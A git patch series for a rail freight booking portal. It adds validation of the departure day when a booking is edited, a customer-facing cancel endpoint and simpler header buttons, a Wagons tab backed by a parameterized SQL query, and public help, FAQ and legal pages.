b/apps/edr-freight-api/src/modules/bookings/bookings.service.ts @@ -1425,7 +1425,46 @@ export class BookingsService { tradeDirection, ); } - if (dto.scheduledDate) updates.scheduledDate = new Date(dto.scheduledDate); + // Re-pinning the departure day on an edit (e.g. fixing a CHANGES_REQUESTED + // booking) must obey the same gate as creation: the route needs an OPEN + // departure on that EAT day that can carry the cargo. Skipped when the day + // didn't change, for general contracts (period-based, no pinned day) and + // for intercity (staff assign a passing train later). + if (dto.scheduledDate) { + const day = eatDay(new Date(dto.scheduledDate)); + const dayChanged = + !existing.scheduledDate || eatDay(existing.scheduledDate) !== day; + if ( + dayChanged && + existing.bookingType !== 'GENERAL_CONTRACT' && + tradeDirection !== 'DOMESTIC' + ) { + const { hasDeparture, hasCompatible } = + await this.trainSchedulingService.checkDayCargoCompatibility( + originYardId, + destinationYardId, + day, + { + freightType: freightType as 'CONTAINER' | 'BULK', + cargoTypeId, + containerTypeIds: containers + .map((c) => c.containerTypeId) + .filter((cid): cid is string => Boolean(cid)), + }, + ); + if (!hasDeparture) { + throw new BadRequestException( + 'No departures available on the selected day for this route', + ); + } + if (!hasCompatible) { + throw new BadRequestException( + 'No wagon on the selected day can carry this cargo type — please choose another day', + ); + } + } + updates.scheduledDate = new Date(dto.scheduledDate); + } if (dto.estimatedShipmentDate) updates.estimatedShipmentDate = new Date(dto.estimatedShipmentDate); if (dto.startDate) updates.startDate = new Date(dto.startDate); diff --git a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ChangesRequestedView.tsx b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ChangesRequestedView.tsx index 3cb3feb9e..6ae046f1d 100644 --- a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ChangesRequestedView.tsx +++ b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ChangesRequestedView.tsx @@ -1,18 +1,30 @@ import { Alert, + Box, Button, Group, Modal, Stack, Text, TextInput, + UnstyledButton, } from "@mantine/core"; import { useMutation, useQuery } from "@tanstack/react-query"; -import { AlertCircle, Pencil, Send, XCircle } from "lucide-react"; +import { + AlertCircle, + CalendarDays, + ChevronRight, + Package, + Pencil, + Send, + XCircle, +} from "lucide-react"; +import type { ReactNode } from "react"; import { useState } from "react"; import { useNavigate } from "react-router-dom"; import { api } from "@/services/api"; +import { bookingsService } from "@/services/bookings.service"; import type { Freight } from "@edr/types"; import { PriceChangeModal } from "@/pages/bookings/resubmit/PriceChangeModal"; @@ -25,13 +37,55 @@ import { CompanyInfoCard } from "./components/CompanyInfoCard"; import { ContainersCard } from "./components/ContainersCard"; import { ContractInfoCard } from "./components/ContractInfoCard"; import { ActionRequiredBanner, MutationErrors } from "./components/Notices"; -import { PageHeader } from "./components/PageHeader"; +import { HeaderButton, PageHeader } from "./components/PageHeader"; import { EstimateCard } from "./components/pricing"; import { ScheduleCard } from "./components/ScheduleCard"; import { ShipmentDetailsCard } from "./components/ShipmentDetailsCard"; import { StatusHero } from "./components/StatusHero"; import { SupportCard } from "./components/SupportCard"; +/** Row linking straight to one section of the edit-booking form. */ +function EditLink({ + icon, + title, + description, + onClick, +}: { + icon: ReactNode; + title: string; + description: string; + onClick: () => void; +}) { + return ( + + + + {icon} + + + + {title} + + + {description} + + + + + + + + ); +} + /** * Detail-page view for a booking staff returned with CHANGES_REQUESTED. * @@ -64,8 +118,9 @@ export function ChangesRequestedView({ null) as Freight.PricingBreakdown | null; const cancelMutation = useMutation({ + // Customer-facing cancel endpoint — the plain /cancel route is staff-only. mutationFn: (reason: string) => - api.bookings.cancel.call({ id: booking.id, reason }), + bookingsService.customerCancel(booking.id, reason), onSuccess: () => { setCancelDialogOpen(false); onBookingUpdated(); @@ -76,10 +131,14 @@ export function ChangesRequestedView({ setCancelDialogOpen(true), - onSupport: () => navigate("/support"), - }} + actions={ + } + label="Cancel booking" + onClick={() => setCancelDialogOpen(true)} + /> + } /> @@ -101,6 +160,41 @@ export function ChangesRequestedView({ + + Fix your booking + + Staff asked for changes on this booking. Update whatever needs + fixing below, then resubmit for review — the booking stays in + place, no need to start over. + + + } + title="Cargo & containers" + description="Add or remove containers, change container type, quantity or VGM — or for bulk cargo, change the commodity and tonnage." + onClick={() => + navigate(`/bookings/${booking.id}/edit?section=cargo`) + } + /> + } + title="Schedule date" + description="Pick a different departure day — only days with an open schedule on your route can be selected." + onClick={() => + navigate(`/bookings/${booking.id}/edit?section=schedule`) + } + /> + } + title="Route, service & other details" + description="Change the origin or destination yard, service type, trucking options or notes." + onClick={() => + navigate(`/bookings/${booking.id}/edit?section=service`) + } + /> + + + Your documents @@ -108,25 +202,8 @@ export function ChangesRequestedView({ Update the documents for this booking, then resubmit for review. Replace any that changed and attach any that are still required. - Need to change the cargo itself — containers, route, schedule or - other details? Edit the booking first, then come back and - resubmit. - - {flow.validationError && ( diff --git a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/DraftBookingView.tsx b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/DraftBookingView.tsx index 277bd1a24..65af9f45d 100644 --- a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/DraftBookingView.tsx +++ b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/DraftBookingView.tsx @@ -24,7 +24,10 @@ import { useNavigate } from "react-router-dom"; import { api } from "@/services/api"; import { downloadStoredFile } from "@/services/files.service"; -import type { SubmitBookingResponse } from "@/services/bookings.service"; +import { + bookingsService, + type SubmitBookingResponse, +} from "@/services/bookings.service"; import type { Freight } from "@edr/types"; import { REQUIRED_DOC_FIELDS } from "./constants"; @@ -116,8 +119,9 @@ export function DraftBookingView({ }); const cancelMutation = useMutation({ + // Customer-facing cancel endpoint — the plain /cancel route is staff-only. mutationFn: (reason: string) => - api.bookings.cancel.call({ id: booking.id, reason }), + bookingsService.customerCancel(booking.id, reason), onSuccess: () => { setCancelDialogOpen(false); onBookingUpdated(); @@ -157,17 +161,21 @@ export function DraftBookingView({ } - label="Continue editing" - onClick={() => navigate(`/bookings/${booking.id}/edit`)} - /> + + } + label="Continue editing" + onClick={() => navigate(`/bookings/${booking.id}/edit`)} + /> + } + label="Cancel" + onClick={() => setCancelDialogOpen(true)} + /> + } - menuActions={{ - onCancel: () => setCancelDialogOpen(true), - onSupport: () => navigate("/support"), - }} /> {canApproveDelivery && ( @@ -185,14 +186,17 @@ export function ReadonlyBookingView({ onClick={pay.open} /> )} + {canCancel && ( + } + label="Cancel booking" + onClick={() => setCancelOpen(true)} + /> + )} ) } - menuActions={{ - onRebook: canSelfRebook ? onRebook : undefined, - onSupport: () => navigate("/support"), - onCancel: canCancel ? () => setCancelOpen(true) : undefined, - }} /> {isNegative(status) ? ( diff --git a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/PageHeader.tsx b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/PageHeader.tsx index 455b71a69..95cfeab11 100644 --- a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/PageHeader.tsx +++ b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/PageHeader.tsx @@ -1,14 +1,5 @@ -import { ActionIcon, Button, Group, Menu, Stack, Text } from "@mantine/core"; -import { - ArrowDownLeft, - ArrowUpRight, - Edit2, - FileText, - HelpCircle, - MoreHorizontal, - RefreshCw, - XCircle, -} from "lucide-react"; +import { Button, Group, Stack, Text } from "@mantine/core"; +import { ArrowDownLeft, ArrowUpRight } from "lucide-react"; import type { ReactNode } from "react"; import type { Freight } from "@edr/types"; @@ -20,22 +11,12 @@ import { import { bookingSubtitle, isDraftLike, isNegative } from "../utils"; -export interface PageHeaderMenuActions { - onViewContract?: () => void; - onCancel?: () => void; - onEdit?: () => void; - onSupport?: () => void; - onRebook?: () => void; -} - export function PageHeader({ booking, actions, - menuActions, }: { booking: Freight.IBooking; actions?: ReactNode; - menuActions?: PageHeaderMenuActions; }) { const status = booking.status as string; const negative = isNegative(status); @@ -47,8 +28,6 @@ export function PageHeader({ const pillText = negative ? "#A93226" : draft ? "#475569" : "#0A6F4D"; const isExport = booking.tradeDirection === "EXPORT"; - const hasMenu = menuActions && Object.values(menuActions).some(Boolean); - return ( @@ -83,66 +62,6 @@ export function PageHeader({ {actions} - {hasMenu && ( - - - - - - - - {menuActions!.onViewContract && ( - } - onClick={menuActions!.onViewContract} - > - View contract - - )} - {menuActions!.onEdit && ( - } - onClick={menuActions!.onEdit} - > - Edit - - )} - {menuActions!.onSupport && ( - } - onClick={menuActions!.onSupport} - > - Contact customer support - - )} - {menuActions!.onRebook && ( - } - onClick={menuActions!.onRebook} - > - Rebook similar schedule - - )} - {menuActions!.onCancel && ( - <> - - } - onClick={menuActions!.onCancel} - > - Cancel booking - - - )} - - - )} ); @@ -154,6 +73,7 @@ export function HeaderButton({ onClick, dark, green, + red, disabled, }: { label: string; @@ -161,6 +81,7 @@ export function HeaderButton({ onClick?: () => void; dark?: boolean; green?: boolean; + red?: boolean; disabled?: boolean; }) { return ( @@ -169,14 +90,14 @@ export function HeaderButton({ disabled={disabled} leftSection={icon} radius={10} - variant={green || dark ? "filled" : "default"} - color={green ? "edr-green" : dark ? "#0C1A2B" : undefined} + variant={green || dark ? "filled" : red ? "outline" : "default"} + color={green ? "edr-green" : dark ? "#0C1A2B" : red ? "red" : undefined} styles={{ root: { height: 42, paddingInline: 16 }, label: { fontSize: 13, fontWeight: 700, - color: green || dark ? "#fff" : "#10202F", + color: green || dark ? "#fff" : red ? undefined : "#10202F", }, }} > From 4eb0d56faf24159072f15543f6aae4d1f62c64b6 Mon Sep 17 00:00:00 2001 From: Marshal Date: Thu, 6 Aug 2026 20:25:08 +0000 Subject: [PATCH 15/48] feat(bookings): show allocated wagons in portal --- .../modules/bookings/bookings.controller.ts | 16 + .../src/modules/bookings/bookings.service.ts | 57 +++ .../BookingDetailPage/ReadonlyBookingView.tsx | 16 + .../components/WagonsTab.tsx | 445 ++++++++++++++++++ .../portal/src/services/bookings.service.ts | 37 ++ 5 files changed, 571 insertions(+) create mode 100644 apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/WagonsTab.tsx diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts b/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts index e57f94eae..1e932cbc0 100644 --- a/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts +++ b/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts @@ -496,6 +496,22 @@ export class BookingsController { res.send(buffer); } + @Get(':id/wagons') + @ApiOperation({ + summary: + 'Allocated wagons for a booking (JSON) — empty until the paid booking is placed on a train', + }) + async wagonAllocations( + @Param('id', ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + const booking = await this.bookingsService.findById(id); + if (!hasFreightPermission(user, FREIGHT_PERMS.bookings.view)) { + await this.bookingsService.assertCustomerCanAccessBooking(user?.id, booking); + } + return this.bookingsService.wagonAllocations(id); + } + @Get(':id/customer-trucks') @ApiOperation({ summary: 'List customer self-haul trucks (multi-truck) for a booking' }) async listCustomerTrucks( diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.service.ts b/apps/edr-freight-api/src/modules/bookings/bookings.service.ts index 1d2300d9a..0f5b5fbbc 100644 --- a/apps/edr-freight-api/src/modules/bookings/bookings.service.ts +++ b/apps/edr-freight-api/src/modules/bookings/bookings.service.ts @@ -339,6 +339,63 @@ export class BookingsService { }; } + /** + * Allocated wagons of a booking as JSON — the portal's "Wagons" tab. Same + * join chain as the carriage acceptance sheet, but structured (containers as + * an array per wagon, bulk load description when the wagon carries bulk). + * Empty array until the booking has been allocated onto a train. + */ + async wagonAllocations(bookingId: string): Promise { + return this.dataSource.query( + `SELECT tsw.sequence_no AS "sequenceNo", + w.wagon_number AS "wagonNumber", + COALESCE(wt.name, wt.code) AS "wagonType", + wt.code AS "wagonTypeCode", + wt.tare_weight_tons AS "tareWeightTons", + tsw.capacity_tons AS "capacityTons", + tsw.length_meters AS "lengthMeters", + a.allocated_weight_tons AS "allocatedWeightTons", + a.load_type AS "loadType", + a.status AS "status", + s.train_number AS "trainNumber", + s.scheduled_departure_date AS "departureAt", + so.label AS "originStation", + sd.label AS "destinationStation", + bl.cargo_description AS "bulkCargoDescription", + bl.quantity AS "bulkQuantity", + COALESCE( + json_agg( + json_build_object( + 'containerNumber', ci.container_number, + 'sealNumber', ci.seal_number, + 'positionOnWagon', ci.position_on_wagon, + 'grossWeightTons', ci.gross_weight_tons + ) ORDER BY ci.position_on_wagon, ci.container_number + ) FILTER (WHERE ci.id IS NOT NULL), + '[]' + ) AS "containers" + FROM freight.wagon_booking_allocations a + JOIN freight.train_set_wagons tsw + ON tsw.id = a.train_set_wagon_id AND tsw.deleted_at IS NULL + LEFT JOIN freight.wagon_types wt ON wt.id = tsw.wagon_type_id + LEFT JOIN freight.wagons w ON w.id = tsw.physical_wagon_id + LEFT JOIN freight.train_schedules s + ON s.train_set_id = tsw.train_set_id AND s.deleted_at IS NULL + LEFT JOIN freight.yards so ON so.id = s.origin_station_id + LEFT JOIN freight.yards sd ON sd.id = s.destination_station_id + LEFT JOIN freight.wagon_allocation_container_items ci + ON ci.wagon_booking_allocation_id = a.id AND ci.deleted_at IS NULL + LEFT JOIN freight.wagon_allocation_bulk_loads bl + ON bl.wagon_booking_allocation_id = a.id AND bl.deleted_at IS NULL + WHERE a.booking_id = $1 AND a.deleted_at IS NULL + GROUP BY tsw.id, a.id, w.wagon_number, wt.name, wt.code, wt.tare_weight_tons, + s.train_number, s.scheduled_departure_date, so.label, sd.label, + bl.cargo_description, bl.quantity + ORDER BY tsw.sequence_no`, + [bookingId], + ); + } + /** * Split the booking amount across its wagons, proportional to allocated weight * (equal shares when no weights are recorded). The last row absorbs the rounding diff --git a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx index 17e824342..b8f279f59 100644 --- a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx +++ b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx @@ -6,6 +6,7 @@ import { FileText, LayoutGrid, Package, + TrainFront, Truck, XCircle, } from "lucide-react"; @@ -46,6 +47,7 @@ import { ShipmentDetailsCard } from "./components/ShipmentDetailsCard"; import { ShipmentTrackingCard } from "./components/ShipmentTrackingCard"; import { StatusHero } from "./components/StatusHero"; import { SupportCard } from "./components/SupportCard"; +import { WagonsTab } from "./components/WagonsTab"; import { fmtDate, isNegative, priceTotal } from "./utils"; import { useScrollToHash } from "@/hooks/useScrollToHash"; import { useBookingPayment } from "@/pages/bookings/payments/useBookingPayment"; @@ -167,6 +169,9 @@ export function ReadonlyBookingView({ const showPairedNotice = !!booking.consolidationPartnerId && ["SUBMITTED", "PENDING_APPROVAL", "CHANGES_REQUESTED"].includes(status); + // Wagons exist only after payment puts the booking on a train; before that + // the tab would always be an empty state, so it stays hidden. + const showWagonsTab = booking.paymentStatus === "PAID" && !isNegative(status); return ( @@ -257,6 +262,11 @@ export function ReadonlyBookingView({ }> Cargo + {showWagonsTab && ( + }> + Wagons + + )} }> Logistics @@ -316,6 +326,12 @@ export function ReadonlyBookingView({ + {showWagonsTab && ( + + + + )} +
= { + PLANNED: { bg: "#F1F4F7", color: "#475569", label: "Planned" }, + RESERVED: { bg: "#FFFBEB", color: "#92400E", label: "Reserved" }, + LOADED: { bg: "#E8F5EF", color: "#0A6F4D", label: "Loaded" }, + DEPARTED: { bg: "#EAF1FE", color: "#1E40AF", label: "Departed" }, +}; + +function StatusPill({ status }: { status: BookingWagonAllocation["status"] }) { + const tone = STATUS_TONES[status] ?? STATUS_TONES.PLANNED; + return ( + + {tone.label} + + ); +} + +function StatTile({ + icon, + label, + value, + sub, +}: { + icon: ReactNode; + label: string; + value: string; + sub?: string; +}) { + return ( + + + {icon} + + {label} + + + + {value} + + {sub && ( + + {sub} + + )} + + ); +} + +/** Little consist strip: locomotive + one box per wagon, in marshalling order. */ +function ConsistStrip({ wagons }: { wagons: BookingWagonAllocation[] }) { + return ( + + + + + + LOCO + + + {wagons.map((w) => ( + + + + W{w.sequenceNo} + + + {w.wagonNumber ?? "—"} + + + + ))} + + + ); +} + +function LoadBar({ allocated, capacity }: { allocated: number; capacity: number }) { + const pct = capacity > 0 ? Math.min(100, Math.round((allocated / capacity) * 100)) : 0; + return ( + + + + Load + + + {fmtWeight(allocated)} + {capacity > 0 ? ` / ${fmtWeight(capacity)} · ${pct}%` : ""} + + + + = 95 ? "#B45309" : "#0A6F4D", + transition: "width 300ms ease", + }} + /> + + + ); +} + +const th = { color: "#9AA8B5", fontSize: 11 } as const; + +function WagonCard({ wagon }: { wagon: BookingWagonAllocation }) { + const allocated = Number(wagon.allocatedWeightTons || 0); + const capacity = Number(wagon.capacityTons || 0); + const containers = wagon.containers ?? []; + + return ( + + + + + + WAGON + + + {wagon.sequenceNo} + + + + + {wagon.wagonNumber ?? "Not yet assigned"} + + + {wagon.wagonType ?? "Wagon type pending"} + {wagon.wagonTypeCode && wagon.wagonType !== wagon.wagonTypeCode + ? ` · ${wagon.wagonTypeCode}` + : ""} + + + + + + + + + + {Number(wagon.tareWeightTons) > 0 && ( + + + + Tare {fmtWeight(Number(wagon.tareWeightTons))} + + + )} + {Number(wagon.lengthMeters) > 0 && ( + + + + {Number(wagon.lengthMeters)} m + + + )} + + {wagon.loadType === "BULK" ? ( + + ) : ( + + )} + + {wagon.loadType === "BULK" ? "Bulk load" : "Container load"} + + + + + {wagon.loadType === "BULK" && (wagon.bulkCargoDescription || wagon.bulkQuantity) && ( + + + {wagon.bulkCargoDescription ?? "Bulk cargo"} + + {Number(wagon.bulkQuantity) > 0 && ( + + Quantity: {Number(wagon.bulkQuantity).toLocaleString()} + + )} + + )} + + {containers.length > 0 && ( + + + + + Container no. + Seal no. + Gross wt. + + + + {containers.map((c, i) => ( + + + + {c.containerNumber ?? "—"} + + + + + {c.sealNumber ?? "—"} + + + + + {Number(c.grossWeightTons) > 0 + ? fmtWeight(Number(c.grossWeightTons)) + : "—"} + + + + ))} + +
+
+ )} +
+ ); +} + +/** + * "Wagons" tab: the customer's view of their allocated wagons once the paid + * booking has been placed on a train — consist strip in marshalling order, + * per-wagon load/containers, and the train's route summary. + */ +export function WagonsTab({ bookingId }: { bookingId: string }) { + const { data: wagons, isLoading } = useQuery({ + queryKey: ["booking-wagons", bookingId], + queryFn: () => bookingsService.getWagons(bookingId), + enabled: !!bookingId, + }); + + if (isLoading) { + return ( +
+ + + + + +
+ ); + } + + if (!wagons?.length) { + return ( + + + + + + + + No wagons allocated yet + + + Your wagons will appear here once the shipment is placed on a + train after payment. + + + + + ); + } + + const first = wagons[0]; + const totalAllocated = wagons.reduce( + (s, w) => s + Number(w.allocatedWeightTons || 0), + 0, + ); + const totalCapacity = wagons.reduce((s, w) => s + Number(w.capacityTons || 0), 0); + const containerCount = wagons.reduce((s, w) => s + (w.containers?.length ?? 0), 0); + const utilization = + totalCapacity > 0 ? Math.round((totalAllocated / totalCapacity) * 100) : null; + + return ( +
+ + + + + + + + + {first.trainNumber ? `Train ${first.trainNumber}` : "Your train"} + + + + + {first.originStation ?? "—"} → {first.destinationStation ?? "—"} + {first.departureAt ? ` · departs ${fmtDate(first.departureAt)}` : ""} + + + + + Your wagons on this train + + + + + + } + label="Wagons" + value={`${wagons.length}`} + sub="allocated to you" + /> + } + label="Allocated weight" + value={fmtWeight(totalAllocated)} + /> + } + label="Containers" + value={containerCount ? `${containerCount}` : "—"} + sub={containerCount ? "loaded on wagons" : undefined} + /> + } + label="Utilization" + value={utilization != null ? `${utilization}%` : "—"} + sub="of wagon capacity" + /> + + + + + {wagons.map((w) => ( + + ))} + +
+ ); +} diff --git a/apps/edr-freight-web/portal/src/services/bookings.service.ts b/apps/edr-freight-web/portal/src/services/bookings.service.ts index edcf8a76c..4aba2c734 100644 --- a/apps/edr-freight-web/portal/src/services/bookings.service.ts +++ b/apps/edr-freight-web/portal/src/services/bookings.service.ts @@ -193,6 +193,34 @@ export interface BookingListFilter { sortOrder?: "ASC" | "DESC"; } +export interface BookingWagonContainer { + containerNumber: string | null; + sealNumber: string | null; + positionOnWagon: number | null; + grossWeightTons: string | null; +} + +/** One allocated wagon of a booking, as returned by GET /bookings/:id/wagons. */ +export interface BookingWagonAllocation { + sequenceNo: number; + wagonNumber: string | null; + wagonType: string | null; + wagonTypeCode: string | null; + tareWeightTons: string | null; + capacityTons: string | null; + lengthMeters: string | null; + allocatedWeightTons: string | null; + loadType: "CONTAINER" | "BULK"; + status: "PLANNED" | "RESERVED" | "LOADED" | "DEPARTED"; + trainNumber: string | null; + departureAt: string | null; + originStation: string | null; + destinationStation: string | null; + bulkCargoDescription: string | null; + bulkQuantity: string | null; + containers: BookingWagonContainer[]; +} + export const bookingsService = { list: async ( filter: BookingListFilter | void = {}, @@ -558,6 +586,15 @@ export const bookingsService = { return data.data as Freight.DayAvailabilityResponse; }, + /** + * Allocated wagons for a paid booking (empty until placed on a train). + * One row per wagon with its containers / bulk load. + */ + getWagons: async (bookingId: string): Promise => { + const { data } = await client.get(`/api/bookings/${bookingId}/wagons`); + return (data.data ?? data) as BookingWagonAllocation[]; + }, + /** * Upcoming/open booking windows on the signed-in customer's active-contract * lanes (import booking-day windows + export 24h pre-departure windows). From 30b0eff60351bef10fb509b37e7b2e2a53fbaae3 Mon Sep 17 00:00:00 2001 From: Nathnael Date: Thu, 6 Aug 2026 20:40:05 +0000 Subject: [PATCH 16/48] feat: add faq, help, privacy policy and tos --- apps/edr-freight-web/portal/src/App.tsx | 19 + .../portal/src/components/auth/AuthShell.tsx | 6 +- .../src/pages/EDRFreightLandingPage.tsx | 30 +- .../portal/src/pages/support/DocShell.tsx | 122 ++++++ .../portal/src/pages/support/FaqPage.tsx | 59 +++ .../portal/src/pages/support/HelpPage.tsx | 183 +++++++++ .../src/pages/support/PrivacyPolicyPage.tsx | 15 + .../portal/src/pages/support/TermsPage.tsx | 15 + .../portal/src/pages/support/content.ts | 358 ++++++++++++++++++ 9 files changed, 803 insertions(+), 4 deletions(-) create mode 100644 apps/edr-freight-web/portal/src/pages/support/DocShell.tsx create mode 100644 apps/edr-freight-web/portal/src/pages/support/FaqPage.tsx create mode 100644 apps/edr-freight-web/portal/src/pages/support/HelpPage.tsx create mode 100644 apps/edr-freight-web/portal/src/pages/support/PrivacyPolicyPage.tsx create mode 100644 apps/edr-freight-web/portal/src/pages/support/TermsPage.tsx create mode 100644 apps/edr-freight-web/portal/src/pages/support/content.ts diff --git a/apps/edr-freight-web/portal/src/App.tsx b/apps/edr-freight-web/portal/src/App.tsx index aefb94594..e14714334 100644 --- a/apps/edr-freight-web/portal/src/App.tsx +++ b/apps/edr-freight-web/portal/src/App.tsx @@ -3,6 +3,7 @@ import { useDisclosure } from "@mantine/hooks"; import { Home, Layers, + LifeBuoy, Loader2, // MapPin, Package, @@ -58,6 +59,10 @@ import CheckPaymentPage from "./pages/payments/CheckPaymentPage"; import PaymentFailurePage from "./pages/payments/PaymentFailurePage"; import FaydaCallbackPage from "./pages/FaydaCallbackPage"; import PaymentSuccessPage from "./pages/payments/PaymentSuccessPage"; +import FaqPage from "./pages/support/FaqPage"; +import HelpPage from "./pages/support/HelpPage"; +import PrivacyPolicyPage from "./pages/support/PrivacyPolicyPage"; +import TermsPage from "./pages/support/TermsPage"; import TrackingPage from "./pages/tracking/TrackingPage"; function FullScreenSpinner() { @@ -217,6 +222,12 @@ const sidebarItems: SidebarItem[] = [ href: "/settings", icon: , }, + { + section: "Account", + label: "Help & Support", + href: "/help", + icon: , + }, ]; const App = () => { @@ -273,6 +284,14 @@ const App = () => { } /> } /> + {/* Help and legal pages. Public on purpose: the auth screens link to + them before a session exists, so they carry their own chrome rather + than sitting inside the authenticated app layout. */} + } /> + } /> + } /> + } /> + {/* Auth pages — inaccessible once logged in */} }> } /> diff --git a/apps/edr-freight-web/portal/src/components/auth/AuthShell.tsx b/apps/edr-freight-web/portal/src/components/auth/AuthShell.tsx index 439f41d19..801f60dd6 100644 --- a/apps/edr-freight-web/portal/src/components/auth/AuthShell.tsx +++ b/apps/edr-freight-web/portal/src/components/auth/AuthShell.tsx @@ -129,19 +129,19 @@ const FormFooter = () => ( © 2026 EDR Freight
Terms & Conditions Privacy Policy Help & Support diff --git a/apps/edr-freight-web/portal/src/pages/EDRFreightLandingPage.tsx b/apps/edr-freight-web/portal/src/pages/EDRFreightLandingPage.tsx index 54bffc47b..b6f4787d6 100644 --- a/apps/edr-freight-web/portal/src/pages/EDRFreightLandingPage.tsx +++ b/apps/edr-freight-web/portal/src/pages/EDRFreightLandingPage.tsx @@ -584,7 +584,35 @@ export default function EDRFreightLandingPage() {
-
© 2026 EDR Freight. All rights reserved.
+
+ +
© 2026 EDR Freight. All rights reserved.
+
diff --git a/apps/edr-freight-web/portal/src/pages/support/DocShell.tsx b/apps/edr-freight-web/portal/src/pages/support/DocShell.tsx new file mode 100644 index 000000000..080189b3b --- /dev/null +++ b/apps/edr-freight-web/portal/src/pages/support/DocShell.tsx @@ -0,0 +1,122 @@ +import { ArrowLeft, Train } from "lucide-react"; +import type { ReactNode } from "react"; +import { Link } from "react-router-dom"; + +import type { Section } from "./content"; + +/** Public pages reachable from every doc page's header and footer. */ +const DOC_LINKS = [ + { to: "/help", label: "Help & Support" }, + { to: "/faq", label: "FAQ" }, + { to: "/privacy", label: "Privacy Policy" }, + { to: "/terms", label: "Terms of Service" }, +]; + +interface DocShellProps { + title: string; + subtitle: string; + /** Rendered under the title, e.g. "Last updated 6 August 2026". */ + meta?: string; + /** Path of the current page, so it is not linked to itself. */ + current: string; + children: ReactNode; +} + +/** + * Chrome shared by the help, FAQ and legal pages. These routes are public — + * the auth screens link to them before a session exists — so the shell carries + * its own header instead of relying on the authenticated app layout. + */ +export function DocShell({ + title, + subtitle, + meta, + current, + children, +}: DocShellProps) { + return ( +
+
+
+ +
+ +
+ EDR Freight + + + + + Back to portal + +
+
+ +
+

{title}

+

+ {subtitle} +

+ {meta && ( +

{meta}

+ )} + +
{children}
+
+ +
+
+ © 2026 EDR Freight. All rights reserved. + +
+
+
+ ); +} + +/** Renders a legal document's numbered sections. */ +export function DocSections({ sections }: { sections: Section[] }) { + return ( +
+ {sections.map((section) => ( +
+

+ {section.heading} +

+ + {section.body?.map((paragraph) => ( +

+ {paragraph} +

+ ))} + + {section.bullets && ( +
    + {section.bullets.map((bullet) => ( +
  • {bullet}
  • + ))} +
+ )} +
+ ))} +
+ ); +} + +export default DocShell; diff --git a/apps/edr-freight-web/portal/src/pages/support/FaqPage.tsx b/apps/edr-freight-web/portal/src/pages/support/FaqPage.tsx new file mode 100644 index 000000000..9704c8cf8 --- /dev/null +++ b/apps/edr-freight-web/portal/src/pages/support/FaqPage.tsx @@ -0,0 +1,59 @@ +import { ChevronDown } from "lucide-react"; +import { Link } from "react-router-dom"; + +import { DocShell } from "./DocShell"; +import { FAQ_GROUPS, SUPPORT_CONTACT } from "./content"; + +export default function FaqPage() { + return ( + +
+ {FAQ_GROUPS.map((group) => ( +
+

{group.title}

+ +
+ {group.items.map((item) => ( + // Native disclosure: keyboard- and screen-reader-accessible + // without any state of our own. +
+ + {item.question} + + + +

+ {item.answer} +

+
+ ))} +
+
+ ))} +
+ +
+

+ Still need a hand? +

+

+ Our team is on {SUPPORT_CONTACT.email} and {SUPPORT_CONTACT.phone}, or + you can start a chat from the support button inside the portal. +

+ + Go to Help & Support + +
+
+ ); +} diff --git a/apps/edr-freight-web/portal/src/pages/support/HelpPage.tsx b/apps/edr-freight-web/portal/src/pages/support/HelpPage.tsx new file mode 100644 index 000000000..5507808b8 --- /dev/null +++ b/apps/edr-freight-web/portal/src/pages/support/HelpPage.tsx @@ -0,0 +1,183 @@ +import { + Clock3, + FileText, + HelpCircle, + Mail, + MapPin, + MessageSquare, + Package, + Phone, + Receipt, + ShieldCheck, +} from "lucide-react"; +import { Link } from "react-router-dom"; + +import { DocShell } from "./DocShell"; +import { SUPPORT_CONTACT } from "./content"; + +const channels = [ + { + icon: Mail, + title: "Email", + value: SUPPORT_CONTACT.email, + href: `mailto:${SUPPORT_CONTACT.email}`, + note: "Best for document issues and anything needing an attachment.", + }, + { + icon: Phone, + title: "Phone", + value: SUPPORT_CONTACT.phone, + href: `tel:${SUPPORT_CONTACT.phone.replace(/\s/g, "")}`, + note: "Best for urgent problems with cargo already in transit.", + }, + { + icon: MapPin, + title: "Head office", + value: SUPPORT_CONTACT.office, + note: "Walk-in support during working hours.", + }, + { + icon: Clock3, + title: "Support hours", + value: SUPPORT_CONTACT.hours, + note: "Outside these hours, email us and we reply the next working day.", + }, +]; + +const topics = [ + { + icon: ShieldCheck, + title: "Account & onboarding", + body: "Registering your company, uploading your trade licence and TIN, and getting an operational profile approved.", + }, + { + icon: FileText, + title: "Contracts", + body: "Requesting a freight contract, reviewing its terms and signing it with your saved signature and stamp.", + }, + { + icon: Package, + title: "Bookings & tracking", + body: "Raising a booking against a contract, adding last-mile transport and following the consignment along the corridor.", + }, + { + icon: Receipt, + title: "Invoices & payments", + body: "Finding invoices, paying through the bank channels and confirming a payment that has not yet settled.", + }, +]; + +export default function HelpPage() { + return ( + + {/* Live chat is the fastest route, so lead with it. */} +
+
+
+ +
+ +
+

+ Chat with our team +

+

+ Signed-in customers can open a support conversation from the + headset button at the bottom right of every portal page. You can + send screenshots and documents in the chat, and replies appear + there and as a notification. +

+ + Open the portal + +
+
+
+ +
+

Contact us

+ +
+ {channels.map((channel) => ( +
+
